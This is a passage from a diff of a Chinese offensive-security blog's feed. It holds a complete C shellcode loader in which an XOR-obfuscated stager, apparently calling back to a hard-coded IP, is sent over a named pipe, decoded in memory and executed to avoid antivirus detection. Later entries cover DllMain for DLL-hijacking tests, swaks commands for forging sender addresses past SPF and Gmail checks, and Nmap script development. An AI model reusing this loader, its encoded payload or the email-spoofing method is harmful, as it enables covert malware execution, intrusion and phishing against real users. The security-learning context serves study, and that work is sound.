style="color:#ae81ff">\xf6\xe2\x83\x0a\x0a\x0a\x6a\x83\xef\x3b\xd8\x6e\x81\x58\x3a\x81\x58\x06\x81\x58\x1e\x81\x78\x22\x05\xbd\x40\x2c\x3b\xf5\x3b\xca\xa6\x36\x6b\x76\x08\x26\x2a\xcb\xc5\x07\x0b\xcd\xe8\xfa\x58\x5d\x81\x58\x1a\x81\x48\x36\x0b\xda\x81\x4a\x72\x8f\xca\x7e\x40\x0b\xda\x5a\x81\x42\x12\x81\x52\x2a\x0b\xd9\xe9\x36\x43\x81\x3e\x81\x0b\xdc\x3b\xf5\x3b\xca\xa6\xcb\xc5\x07\x0b\xcd\x32\xea\x7f\xfe\x09\x77\xf2\x31\x77\x2e\x7f\xe8\x52\x81\x52\x2e\x0b\xd9\x6c\x81\x06\x41\x81\x52\x16\x0b\xd9\x81\x0e\x81\x0b\xda\x83\x4e\x2e\x2e\x51\x51\x6b\x53\x50\x5b\xf5\xea\x52\x55\x50\x81\x18\xe1\x8c\x57\x62\x64\x6f\x7e\x0a\x62\x7d\x63\x64\x63\x5e\x62\x46\x7d\x2c\x0d\xf5\xdf\x3b\xf5\x5d\x5d\x5d\x5d\x5d\x62\x30\x5c\x73\xad\xf5\xdf\xe3\x8e\x0a\x0a\x0a\x51\x3b\xc3\x5b\x5b\x60\x09\x5b\x5b\x62\x9a\x15\x0a\x0a\x59\x5a\x62\x5d\x83\x95\xcc\xf5\xdf\xe1\x7a\x51\x3b\xd8\x58\x62\x0a\x08\x6a\x8e\x58\x58\x58\x59\x58\x5a\x62\xe1\x5f\x24\x31\xf5\xdf\x83\xcc\x89\xc9\x5a\x3b\xf5\x5d\x5d\x60\xf5\x59\x5c\x62\x27\x0c\x12\x71\xf5\xdf\x8f\xca\x05\x8e\xc9\x0b\x0a\x0a\x3b\xf5\x8f\xfc\x7e\x0e\x83\xf3\xe1\x03\x62\xa0\xcf\xe8\x57\xf5\xdf\x83\xcb\x62\x4f\x2b\x54\x3b\xf5\xdf\x3b\xf5\x5d\x60\x0d\x5b\x5c\x5a\x62\xbd\x5d\xea\x01\xf5\xdf\xb5\x0a\x25\x0a\x0a\x33\xcd\x7e\xbd\x3b\xf5\xe3\x9b\x0b\x0a\x0a\xe3\xc3\x0b\x0a\x0a\xe2\x81\xf5\xf5\xf5\x25\x39\x7f\x65\x4f\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x0a\x5f\x79\x6f\x78\x27\x4b\x6d\x6f\x64\x7e\x30\x2a\x47\x65\x70\x63\x66\x66\x6b\x25\x3f\x24\x3a\x2a\x22\x69\x65\x67\x7a\x6b\x7e\x63\x68\x66\x6f\x31\x2a\x47\x59\x43\x4f\x2a\x33\x24\x3a\x31\x2a\x5d\x63\x64\x6e\x65\x7d\x79\x2a\x44\x5e\x2a\x3c\x24\x3b\x31\x2a\x5e\x78\x63\x6e\x6f\x64\x7e\x25\x3f\x24\x3a\x31\x2a\x48\x45\x43\x4f\x33\x31\x44\x46\x44\x46\x23\x07\x00\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x3e\x56\x5a\x50\x52\x3f\x3e\x22\x5a\x54\x23\x3d\x49\x49\x23\x3d\x77\x2e\x4f\x43\x49\x4b\x58\x27\x59\x5e\x4b\x44\x4e\x4b\x58\x4e\x27\x4b\x44\x5e\x43\x5c\x43\x58\x5f\x59\x27\x5e\x4f\x59\x5e\x27\x4c\x43\x46\x4f\x2b\x2e\x42\x21\x42\x20\x0a\x3f\x45\x2b\x5a\x2f\x4a\x4b\x5a\x51\x0a\x62\xfa\xbf\xa8\x5c\xf5\xdf\x60\x4a\x62\x0a\x1a\x0a\x0a\x62\x0a\x0a\x4a\x0a\x5d\x62\x52\xae\x59\xef\xf5\xdf\x99\xb3\x0a\x0a\x0a\x0a\x0b\xd3\x5b\x59\x83\xed\x5d\x62\x0a\x2a\x0a\x0a\x59\x5c\x62\x18\x9c\x83\xe8\xf5\xdf\x8f\xca\x7e\xcc\x81\x0d\x0b\xc9\x8f\xca\x7f\xef\x52\xc9\xe2\xa3\xf7\xf5\xf5\x3b\x33\x38\x24\x3b\x3c\x32\x24\x3b\x3d\x3a\x24\x3b\x38\x32\x0a\x0a\x0a\x0a\x0a</span><span style="color:#e6db74">&#34;</span>; +</span></span><span style="display:flex;"><span>PTCHAR ptsPipeName <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\\\\</span><span style="color:#e6db74">.</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">pipe</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">BadCodeTest&#34;</span>); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>BOOL <span style="color:#a6e22e">RecvShellcode</span>(VOID){ +</span></span><span style="display:flex;"><span> HANDLE hPipeClient; +</span></span><span style="display:flex;"><span> DWORD dwWritten; +</span></span><span style="display:flex;"><span> DWORD dwShellcodeSize <span style="color:#f92672">=</span> <span style="color:#66d9ef">sizeof</span>(buf); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 等待管道可用 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">WaitNamedPipe</span>(ptsPipeName,NMPWAIT_WAIT_FOREVER); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 连接管道 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hPipeClient <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFile</span>(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(hPipeClient <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Can&#39;t Open Pipe , Error : %d </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,<span style="color:#a6e22e">GetLastError</span>()); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> FALSE; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WriteFile</span>(hPipeClient,buf,dwShellcodeSize,<span style="color:#f92672">&amp;</span>dwWritten,NULL); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(dwWritten <span style="color:#f92672">==</span> dwShellcodeSize){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CloseHandle</span>(hPipeClient); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Send Success ! Shellcode : %d Bytes</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,dwShellcodeSize); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> TRUE; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CloseHandle</span>(hPipeClient); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> FALSE; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">wmain</span>(<span style="color:#66d9ef">int</span> argc, TCHAR <span style="color:#f92672">*</span> argv[]){ +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> HANDLE hPipe; +</span></span><span style="display:flex;"><span> DWORD dwError; +</span></span><span style="display:flex;"><span> CHAR szBuffer[BUFF_SIZE]; +</span></span><span style="display:flex;"><span> DWORD dwLen; +</span></span><span style="display:flex;"><span> PCHAR pszShellcode <span style="color:#f92672">=</span> NULL; +</span></span><span style="display:flex;"><span> DWORD dwOldProtect; <span style="color:#75715e">// 内存页属性 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hThread; +</span></span><span style="display:flex;"><span> DWORD dwThreadId; +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hPipe <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateNamedPipe</span>( +</span></span><span style="display:flex;"><span> ptsPipeName, +</span></span><span style="display:flex;"><span> PIPE_ACCESS_INBOUND, +</span></span><span style="display:flex;"><span> PIPE_TYPE_BYTE<span style="color:#f92672">|</span> PIPE_WAIT, +</span></span><span style="display:flex;"><span> PIPE_UNLIMITED_INSTANCES, +</span></span><span style="display:flex;"><span> BUFF_SIZE, +</span></span><span style="display:flex;"><span> BUFF_SIZE, +</span></span><span style="display:flex;"><span> <span style="color:#ae81ff">0</span>, +</span></span><span style="display:flex;"><span> NULL); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(hPipe <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE){ +</span></span><span style="display:flex;"><span> dwError <span style="color:#f92672">=</span> <span style="color:#a6e22e">GetLastError</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[-]Create Pipe Error : %d </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,dwError); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> dwError; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CreateThread</span>(NULL,NULL,(LPTHREAD_START_ROUTINE)RecvShellcode,NULL,NULL,NULL); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span>(<span style="color:#a6e22e">ConnectNamedPipe</span>(hPipe,NULL) <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Client Connected...</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">ReadFile</span>(hPipe,szBuffer,BUFF_SIZE,<span style="color:#f92672">&amp;</span>dwLen,NULL); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">printf</span>(<span style="color:#e6db74">&#34;[+]Get DATA Length : %d </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>,dwLen); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 申请内存页 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> pszShellcode <span style="color:#f92672">=</span> (PCHAR)<span style="color:#a6e22e">VirtualAlloc</span>(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 拷贝内存 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">CopyMemory</span>(pszShellcode,szBuffer,dwLen); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span>(DWORD i <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>;i<span style="color:#f92672">&lt;</span> dwLen; i<span style="color:#f92672">++</span>){ +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">Sleep</span>(<span style="color:#ae81ff">50</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_InterlockedXor8</span>(pszShellcode<span style="color:#f92672">+</span>i,<span style="color:#ae81ff">10</span>); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 这里开始更改它的属性为可执行 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#a6e22e">VirtualProtect</span>(pszShellcode,dwLen,PAGE_EXECUTE,<span style="color:#f92672">&amp;</span>dwOldProtect); +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 执行Shellcode +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> hThread <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>( +</span></span><span style="display:flex;"><span> NULL, <span style="color:#75715e">// 安全描述符 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 栈的大小 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> (LPTHREAD_START_ROUTINE)pszShellcode, <span style="color:#75715e">// 函数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 参数 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> NULL, <span style="color:#75715e">// 线程标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#f92672">&amp;</span>dwThreadId <span style="color:#75715e">// 线程ID +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> ); +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WaitForSingleObject</span>(hThread,INFINITE); +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><p>本实例主要是通过一个线程函数充当一个管道客户端,使用管道客户端连接管道,发送Shellcode,然后由管道服务端接收,并反混淆,运行木马线程。</p>DllMain与rundll32详解https://payloads.online/archivers/2019-10-02/1/Wed, 02 Oct 2019 00:00:00 +0000https://payloads.online/archivers/2019-10-02/1/<h2 id="0x00-dllmain">0x00 DllMain</h2> <p>对于动态链接库,DllMain是一个<strong>可选的</strong>入口函数。</p> <h3 id="程序调用dll中的导出函数的流程">程序调用DLL中的导出函数的流程</h3> <ul> @@ -1961,7 +3830,67 @@ </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> _In_ DWORD fdwReason, <span style="color:#75715e">// 调用原因 </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> _In_ LPVOID lpvReserved <span style="color:#75715e">// 隐式加载和显式加载 </span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>); -</span></span></code></prSwaks伪造邮件https://payloads.online/archivers/2019-05-09/1/Thu, 09 May 2019 00:00:00 +0000https://payloads.online/archivers/2019-05-09/1/<h2 id="0x00-swaks">0x00 swaks</h2> +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x01-dllmain调用原因">0x01 DllMain调用原因</h2> +<p>其中<code>fdwReason</code>用来表示Dll被调用的状态,一共分为四种:</p> +<ul> +<li>DLL_PROCESS_ATTACH 被进程加载</li> +<li>DLL_PROCESS_DETACH 被进程释放</li> +<li>DLL_THREAD_ATTACH 被线程加载</li> +<li>DLL_THREAD_DETACH 被线程释放</li> +</ul> +<p>在DllMain中通常为了捕获DLL被调用的方式来进行某些动作:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>BOOL APIENTRY <span style="color:#a6e22e">DllMain</span>( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">switch</span> (ul_reason_for_call) +</span></span><span style="display:flex;"><span> { +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_PROCESS_ATTACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">process attach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_THREAD_ATTACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">thread attach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_THREAD_DETACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">thread detach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">case</span> DLL_PROCESS_DETACH: +</span></span><span style="display:flex;"><span>   printf(<span style="color:#e6db74">&#34;</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">process detach of dll&#34;</span>); +</span></span><span style="display:flex;"><span>   <span style="color:#66d9ef">break</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> TRUE; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-那些用于测试dll劫持的dllmain-poc">0x02 那些用于测试DLL劫持的DllMain POC</h2> +<ul> +<li><a href="https://cxsecurity.com/issue/WLB-2018090232">https://cxsecurity.com/issue/WLB-2018090232</a></li> +<li><a href="https://cxsecurity.com/issue/WLB-2015010114">https://cxsecurity.com/issue/WLB-2015010114</a></li> +</ul> +<p>在测试很多DLL劫持的漏洞时,都喜欢用DllMain,是因为DllMain被进程加载或者释放都会自动调用运行。</p>Swaks伪造邮件https://payloads.online/archivers/2019-05-09/1/Thu, 09 May 2019 00:00:00 +0000https://payloads.online/archivers/2019-05-09/1/<h2 id="0x00-swaks">0x00 swaks</h2> <p>swaks - Swiss Army Knife SMTP, the all-purpose smtp transaction tester.</p> <p>swaks堪称SMTP协议的瑞士军刀,使用它我们可以灵活的操作SMTP协议报文,这篇文章主要是记录一下我是如何伪造一封邮件绕过gmail的检测。</p> <p>通常最简单的发送命令:</p> @@ -1983,7 +3912,34 @@ <p>这个是从evi1cg师傅那里看到的,smtp2go主要是相当于邮件托管,可以分发子账户进行发送。</p> <p>地址:https://support.smtp2go.com/hc/en-gb</p> <p>(邮箱注册)普通账户可以免费发1000封邮件。</p> -<p>分配好账户后,可以通过swaks进行登录发送邮件:</p>Nmap扩展开发(一)https://payloads.online/archivers/2019-04-24/1/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/1/<h2 id="0x00-前言">0x00 前言</h2> +<p>分配好账户后,可以通过swaks进行登录发送邮件:</p> +<p> + <img src="https://images.payloads.online/750c7a8a-4f5f-11ec-889d-00d861bf4abb.png" alt="2019-05-09-14-28-50"> + +</p> +<h2 id="0x02-swaks发送邮件">0x02 swaks发送邮件</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p <span style="color:#ae81ff">2525</span> -au &lt;USER&gt; -ap &lt;PASS&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>但是上面这个邮件无法绕过SPF。</p> +<h2 id="0x03-spf验证原理">0x03 SPF验证原理</h2> +<p>如果mail.smtp2go.com是我的邮件服务器,那么gmail服务器收到的源IP也肯定是mail.smtp2go.com的IP。</p> +<p>gmail会校验邮件发送者的IP是否存在于smtp.from的域名spf配置列表里。</p> +<p>而上面这条命令:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>swaks --to rvn0xsy@gmail.com --from admin@qq.com --ehlo gmail.com --body hello --server mail.smtp2go.com -p <span style="color:#ae81ff">2525</span> -au &lt;USER&gt; -ap &lt;PASS&gt; +</span></span></code></pre></td></tr></table> +</div> +</div><p>smtp.from就是admin@qq.com,和mail.smtp2go.com的IP肯定不同,所以SPF校验失败,而校验失败的邮件,会有很高的几率被扔到垃圾邮件中。</p>Nmap扩展开发(一)https://payloads.online/archivers/2019-04-24/1/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/1/<h2 id="0x00-前言">0x00 前言</h2> <p>PS :如果你不知道你是否需要学习这个技术,那么我可以先告诉你Nmap能够做什么:</p> <ul> <li>网络结构画像</li> @@ -2026,7 +3982,21 @@ <li>vuln 漏洞检测</li> </ul> <h2 id="0x03-nmap扩展脚本铺垫">0X03 Nmap扩展脚本铺垫</h2> -<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p>Nmap扩展开发(三)https://payloads.online/archivers/2019-04-24/3/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/3/<h2 id="0x01-扩展脚本对象-主机">0X01 扩展脚本对象-主机</h2> +<p>相信网上已经有很多文章去写如何使用扩展脚本了,这块我不准备过多的铺垫。</p> +<p>主要介绍如下几点:</p> +<ul> +<li>Nmap扩展脚本用途</li> +<li>Nmap扩展脚本使用方法</li> +<li>如何查看Nmap扩展脚本的Usage(使用方法)</li> +</ul> +<h3 id="0x03-nmap扩展脚本用途">0X03 Nmap扩展脚本用途</h3> +<p>Nmap扩展脚本能够帮助我们实现更多定制化的需求扫描、结果的处理、漏洞的检测、漏洞的利用等。在0x02中已经列出了扩展脚本的分类,根据说明我们能理解一个大概,这些分类代表了Nmap各个方面的能力。</p> +<h3 id="0x03-nmap扩展脚本使用方法">0x03 Nmap扩展脚本使用方法</h3> +<p>在很早之前,我写过一篇科普文章,主要介绍了Nmap的脚本分类、使用方法,链接:</p> +<p><a href="http://zhuanlan.zhihu.com/p/26618074">http://zhuanlan.zhihu.com/p/26618074</a></p> +<p>本章没有太多概念性的东西,希望读者能够边看边做。首先设定一个需求,我有一个需要搜集某个IP或某组IP所有开放HTTP服务的中间件信息。那么Nmap有一个脚本是可以直接满足我们需求的:</p> +<p><code>http-server-header.nse</code></p> +<p>扫描命令:<code>nmap --script=http-server-header &lt;TARGET&gt;</code></p>Nmap扩展开发(三)https://payloads.online/archivers/2019-04-24/3/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/3/<h2 id="0x01-扩展脚本对象-主机">0X01 扩展脚本对象-主机</h2> <p>在进行主机扫描的时候会执行hostrule这个函数,从以往的nmap扩展脚本代码中我们都可以发现在hostrule这个函数中做了一些针对host操作的动作。</p> <p>hostrule有一个参数,变量名叫host,我们可以把它理解为一个对象,在这里称之为对象是为了方便读者理解,在lua中实际它的数据类型是一个多维的table(表),具有很多属性。由于这些rule函数都是被动调用的,我们只能在函数内部对形参进行操作了。</p> <p>参考:https://nmap.org/book/nse-api.html</p> @@ -2056,7 +4026,24 @@ </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 -</span></code></prNmap扩展开发(二)https://payloads.online/archivers/2019-04-24/2/Wed, 24 Apr 2019 00:00:00 +0000https://payloads.online/archivers/2019-04-24/2/<h2 id="0x01-nse引擎执行流程">0x01 NSE引擎执行流程</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-lua" data-lang="lua"><span style="display:flex;"><span><span style="color:#66d9ef">local</span> stdnse <span style="color:#f92672">=</span> require <span style="color:#e6db74">&#34;stdnse&#34;</span> +</span></span><span 